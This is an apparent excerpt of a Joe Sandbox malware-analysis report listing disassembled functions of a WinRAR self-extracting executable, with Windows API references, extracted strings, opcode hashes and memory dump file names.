Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 9d335eb4e928305fcc536e7a574871e99efd96511b41f203bfcc60166aca6fdf
Instruction ID: eff76c6f4b9e67ca3338fdfc56eadbb150daf3e9126f46b3b47707f2a5f2d594
Opcode Fuzzy Hash: 9d335eb4e928305fcc536e7a574871e99efd96511b41f203bfcc60166aca6fdf
Instruction Fuzzy Hash: 57815B5EA1810246F668BA6C486857FA399EF2B744FD414B1DF198728CCE3DE80D8321

Function 00007FF7B67EBDF8 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF7B67EBF92

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction ID: 5bb692f4852f5580e8843cfcac44b11eccbb7bf4bea6d389c45965574e5b03d5
Opcode Fuzzy Hash: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction Fuzzy Hash: 58713A2DA0864242E764691C4A6427FDB989B6FF04F9405B1DF08876DDCF3DE84D8F61

Function 00007FF7B67EFD18 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF7B67EFD54

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 75bc8b6b70552213c492e2b4d537d895552732abb840669c88296365ff73b3bd
Instruction ID: baed114d7f0decdd247abdcd50004fd6c0cb7d97e5e211eb7581fceb68f610fb
Opcode Fuzzy Hash: 75bc8b6b70552213c492e2b4d537d895552732abb840669c88296365ff73b3bd
Instruction Fuzzy Hash: AB41B022714A4486EB44EF2AD8642AAB3A5A76DFD0B9D9036DF0D87758DE3CD056C340

Function 00007FF7B67F41B0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7B67F41B4

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: be7ed4402fc1a38c1953c688923f2ad906cda00ccdf3b5d5fa14c8939cdf2fd3
Instruction ID: ca0705fdec3fc41ddb7a99d4473fe444af2ec16ae26680c26061212c046c572c
Opcode Fuzzy Hash: be7ed4402fc1a38c1953c688923f2ad906cda00ccdf3b5d5fa14c8939cdf2fd3
Instruction Fuzzy Hash: 4FB09224E07A46C6EA087B196C8221A62A97F69B10FD480BCC30C41338DE3C20B58F20

Function 00007FF7B67CBF0C Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd28e31d7d5d8dacbc8c1e36a10d9298773be20ef7319678f464fee92af96a22
Instruction ID: 849b2e614ee7c440e1e8ee69353791597f1cc97b775ceb402b551279e53a6521
Opcode Fuzzy Hash: cd28e31d7d5d8dacbc8c1e36a10d9298773be20ef7319678f464fee92af96a22
Instruction Fuzzy Hash: 8722E473B206508BD728CF25D89AE5E3766F799744B4B8228DF0ACB789DB38D505CB40

Function 00007FF7B67CB318 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c4f15c2075db455a8805df7f1b959bd99bc7369c78054583d6a965d91bd105
Instruction ID: ae033975f0887376adc0749e325a6cf5885aa9a22bcbe16d672260fffeda6ad7
Opcode Fuzzy Hash: c6c4f15c2075db455a8805df7f1b959bd99bc7369c78054583d6a965d91bd105
Instruction Fuzzy Hash: 18D1AC72A181D04EE312CB79A4244BEBFB5E31E34DB898252EFD55370AC53EE141DB60

Function 00007FF7B67CB948 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9782f85efb0ae2e1c0b67e86eaa04f67255253bd9529923cb00556c4c2cc06da
Instruction ID: 708399d3ab5189814091e5174a85519d695b8ca42f2af6a2c1e25980ba1bce38
Opcode Fuzzy Hash: 9782f85efb0ae2e1c0b67e86eaa04f67255253bd9529923cb00556c4c2cc06da
Instruction Fuzzy Hash: 3E613922B181D189EB01DF7989504FEBFA1A76EB9478540B2DF9A5364ECA3CE145CF20

Function 00007FF7B67F8DF0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925daada8ef65e2677460b522fd56a987e460062fe4befbd33bf430193fcb847
Instruction ID: 33648d7c4b4c05ee3fbc1e4fc8062debdd772ca934c63f5531b3162d083e22dc
Opcode Fuzzy Hash: 925daada8ef65e2677460b522fd56a987e460062fe4befbd33bf430193fcb847
Instruction Fuzzy Hash: E6F068717292958BDBA49F2DA84262B77E1F718384F80807DD78D83B18D77C90608F14

Function 00007FF7B67E6B24 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 915a11522949b389e451a5ed0c02c5f26bdaa58b853bb1385cc96cba591218a7
Instruction ID: a82d2d422c9090c50232ef6f8af98d70d8813280727e69335a7660367214d8d5
Opcode Fuzzy Hash: 915a11522949b389e451a5ed0c02c5f26bdaa58b853bb1385cc96cba591218a7
Instruction Fuzzy Hash: 25A00129D48952D1E648AB18EC70422A224EF7AB44B9000B1E70D410A9AE3CA8448620

Function 00007FF7B67E61E0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7B67E61F6
GetModuleHandleW.KERNEL32 ref: 00007FF7B67E6203
GetModuleHandleW.KERNEL32 ref: 00007FF7B67E6218
GetProcAddress.KERNEL32 ref: 00007FF7B67E6230
GetProcAddress.KERNEL32 ref: 00007FF7B67E6243
CreateEventW.KERNEL32 ref: 00007FF7B67E626F
DeleteCriticalSection.KERNEL32 ref: 00007FF7B67E62BB
CloseHandle.KERNEL32 ref: 00007FF7B67E62CD

Strings

WakeAllConditionVariable, xrefs: 00007FF7B67E6236
SleepConditionVariableCS, xrefs: 00007FF7B67E6226
kernel32.dll, xrefs: 00007FF7B67E6211
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF7B67E61FC

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 029695a6267facf631d40e22352065ea960f1d0c33bf652913798791beb6e733
Instruction ID: fcc793e4aed3fdb5e6ea9cec55cacd406493095a9c0badeeca254420f423fa7a
Opcode Fuzzy Hash: 029695a6267facf631d40e22352065ea960f1d0c33bf652913798791beb6e733
Instruction Fuzzy Hash: C9213524E1A64781FA15FB28EC64677A295BF7EB40FD400B5C70D02669EE3CE4598760

Function 00007FF7B67DDF84 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67C13B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DE273
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DE279
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DE27F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DE285
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DE28B
EndDialog.USER32 ref: 00007FF7B67DE30A

Strings

GETPASSWORD1, xrefs: 00007FF7B67DE2C3
Software\WinRAR SFX, xrefs: 00007FF7B67DE06F, 00007FF7B67DE07E

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: a5c1420563de154322e58b961742644a218078f87695e0f8e231236245ab560e
Instruction ID: 0b5142983067273f48dee13a61bc3596808e32284cf4a08073015cb3a46e8740
Opcode Fuzzy Hash: a5c1420563de154322e58b961742644a218078f87695e0f8e231236245ab560e
Instruction Fuzzy Hash: ABB1B862F19B8285FB00EB68D8542BE6362AB6A798F804675DF5C266DDDE3CE045C310

Function 00007FF7B67DAB10 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7B67DBB2B), ref: 00007FF7B67DAD10
CreateStreamOnHGlobal.COMBASE ref: 00007FF7B67DAD41
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DAE0B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DAE11
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DAE17

Strings

<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF7B67DAB65, 00007FF7B67DAB74
</html>, xrefs: 00007FF7B67DAC02, 00007FF7B67DAC11
<html>, xrefs: 00007FF7B67DABA3
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF7B67DABBC, 00007FF7B67DABCB

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Global$AllocCreateStream
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2868844859-1533471033
Opcode ID: f0895581c817e55a58f121f9c0f6f66dd55f3ddbc4a2fb8a2d625ca181ef1552
Instruction ID: 89aff81b2810ef4e4b62e3d9f72b4d01393047b72f33f2c523193520a3b1bd63
Opcode Fuzzy Hash: f0895581c817e55a58f121f9c0f6f66dd55f3ddbc4a2fb8a2d625ca181ef1552
Instruction Fuzzy Hash: 5481B4A2F18A4285FB00EB69D8601EEA371AB6A794F800575DF1D176ADDF3CD506C320

Function 00007FF7B67F1B60 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F1CDD

Strings

NAN(IND), xrefs: 00007FF7B67F1C0B
nan(ind), xrefs: 00007FF7B67F1C16
INF, xrefs: 00007FF7B67F1BD3
NAN, xrefs: 00007FF7B67F1BC1
NAN(SNAN), xrefs: 00007FF7B67F1BF5
nan, xrefs: 00007FF7B67F1BC8
nan(snan), xrefs: 00007FF7B67F1C00
inf, xrefs: 00007FF7B67F1BE6

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 7e5ce1446c841e33a66cfbd311af876c7b34449f0d6954941b6492f47989c701
Instruction ID: 9a024b9d924f97f68c920eed82c362f3521e462998b49c15c3f0b3f23f06e9b4
Opcode Fuzzy Hash: 7e5ce1446c841e33a66cfbd311af876c7b34449f0d6954941b6492f47989c701
Instruction Fuzzy Hash: A741AF32A19B85C9E700DB29EC61BAA73A4EB2A794F804575EF5C07B58DE3CD025C354

Function 00007FF7B67E2EE0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF7B67E2F1F
GetClassNameW.USER32 ref: 00007FF7B67E2F4C
GetWindowLongPtrW.USER32 ref: 00007FF7B67E2F6D
SendMessageW.USER32 ref: 00007FF7B67E2F87
GetObjectW.GDI32 ref: 00007FF7B67E2FA2
SendMessageW.USER32 ref: 00007FF7B67E2FD7
DeleteObject.GDI32 ref: 00007FF7B67E2FE0
GetWindow.USER32 ref: 00007FF7B67E2FEE

Strings

STATIC, xrefs: 00007FF7B67E2F52

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: a56abbe028ef3f0b7d15def6da20f662c50af87d749574eaec9b76d17f79dad6
Instruction ID: 4eb5fac32e92e8bceff98cbf1552d9bdb19356a0eab4a6956eb1b559266d4418
Opcode Fuzzy Hash: a56abbe028ef3f0b7d15def6da20f662c50af87d749574eaec9b76d17f79dad6
Instruction Fuzzy Hash: FC319265A1964286EA10BB19AD247BBA392FB9FB94F800470DF4D07759DE3DE4068B10

Function 00007FF7B67C80B0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C874A

Part of subcall function 00007FF7B67C1BD4: std::_Xinvalid_argument.LIBCPMT ref: 00007FF7B67C1BDF

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C8756
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C875C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C8768
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C877A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C8780

Strings

UNC, xrefs: 00007FF7B67C8263
\\?\, xrefs: 00007FF7B67C80FB, 00007FF7B67C810A

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: UNC$\\?\
API String ID: 4097890229-253988292
Opcode ID: 627c07d53eccfe150ff9c499ac3b11f54613392915993c7d05f5251deab33fae
Instruction ID: 5f8a1ff358c0f8ab37817b61ddf438c672dabcb9278546bc092e6d72fb9a4856
Opcode Fuzzy Hash: 627c07d53eccfe150ff9c499ac3b11f54613392915993c7d05f5251deab33fae
Instruction Fuzzy Hash: AC121322B18B4290EB10EB6CD8641AEA771EB6ABA4F9001B2DB5D03BDDDF3CD545C350

Function 00007FF7B67DE9E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF7B67DE9FE

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ItemTextWindow
String ID: LICENSEDLG
API String ID: 2478532303-2177901306
Opcode ID: 413809c6c529f907a05a51e37b96b30026af9f7a13d4bd8aebdb5ec3f6628f42
Instruction ID: 1efc61939ff475b9a3e69f7966d6cbcbe44a2c8ee997713333cb5219d45a799c
Opcode Fuzzy Hash: 413809c6c529f907a05a51e37b96b30026af9f7a13d4bd8aebdb5ec3f6628f42
Instruction Fuzzy Hash: F9419565A0864282F715BB19EC5477AA3A1BFAAB90FC40471CF0D4779CCF3CA5558720

Function 00007FF7B67CBD30 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7B67CBE46

Part of subcall function 00007FF7B67CDC4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF7B67CDCA3

GetProcAddress.KERNEL32 ref: 00007FF7B67CBD8E
GetProcAddress.KERNEL32 ref: 00007FF7B67CBDA9

Strings

CryptProtectMemory, xrefs: 00007FF7B67CBD84
CryptProtectMemory failed, xrefs: 00007FF7B67CBDFC
Crypt32.dll, xrefs: 00007FF7B67CBD6C
CryptUnprotectMemory, xrefs: 00007FF7B67CBD9B
CryptUnprotectMemory failed, xrefs: 00007FF7B67CBE3D

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: df634e7e6220f0fab9136f3d9598b6958fd483239d44fb29bf155b66aa12a787
Instruction ID: f52c2f4437eeb768d2117973583093a3c60014e51d30e30c585256f4749df5f6
Opcode Fuzzy Hash: df634e7e6220f0fab9136f3d9598b6958fd483239d44fb29bf155b66aa12a787
Instruction Fuzzy Hash: 0C317F60A09A4781EA04AB1DACA0576E760AF7EFA0F9401F5DB4D037ACDE3CE0458B61

Function 00007FF7B67DC414 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DC9F2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DC9FE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DCA0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DCA16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DCA1C

Strings

, xrefs: 00007FF7B67DC691
